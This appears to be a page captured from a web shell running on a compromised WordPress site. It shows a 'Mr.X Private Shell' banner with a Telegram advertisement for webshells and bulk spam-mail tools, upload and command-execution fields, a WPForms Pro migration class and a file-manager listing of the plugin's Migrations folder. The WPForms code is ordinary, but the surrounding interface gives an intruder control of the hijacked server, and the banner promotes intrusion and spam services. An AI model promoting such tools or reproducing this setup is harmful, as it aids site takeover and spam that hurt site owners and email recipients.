__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace WPForms\Pro\Migrations;

use WPForms\Migrations\UpgradeBase;

/**
 * Class v1.5.0 upgrade for Pro.
 *
 * @since 1.7.5
 *
 * @noinspection PhpUnused
 */
class Upgrade150 extends UpgradeBase {

	/**
	 * Run upgrade.
	 *
	 * @since 1.7.5
	 *
	 * @return bool|null Upgrade result:
	 *                   true  - the upgrade completed successfully,
	 *                   false - in the case of failure,
	 *                   null  - upgrade started but not yet finished (background task).
	 */
	public function run() {

		$form_handler = wpforms()->obj( 'form' );

		if ( ! $form_handler ) {
			return false;
		}

		$forms = $form_handler->get( '', [ 'fields' => 'ids' ] );

		if ( empty( $forms ) || ! is_array( $forms ) ) {
			return true;
		}

		foreach ( $forms as $form_id ) {
			delete_post_meta( $form_id, 'wpforms_entries_count' );
		}

		return true;
	}
}

Filemanager

Name Type Size Permission Actions
Migrations.php File 1.33 KB 0640
Upgrade116.php File 769 B 0640
Upgrade133.php File 1.08 KB 0640
Upgrade143.php File 8.74 KB 0640
Upgrade150.php File 876 B 0640
Upgrade159.php File 851 B 0640
Upgrade165.php File 788 B 0640
Upgrade168.php File 932 B 0640
Upgrade173.php File 818 B 0640
Upgrade175.php File 848 B 0640
Upgrade176.php File 755 B 0640
Upgrade182.php File 807 B 0640
Upgrade183.php File 808 B 0640
Upgrade189.php File 839 B 0640
Upgrade190.php File 649 B 0640
Upgrade1_9_1.php File 4.69 KB 0640
Upgrade1_9_4.php File 774 B 0640
Filemanager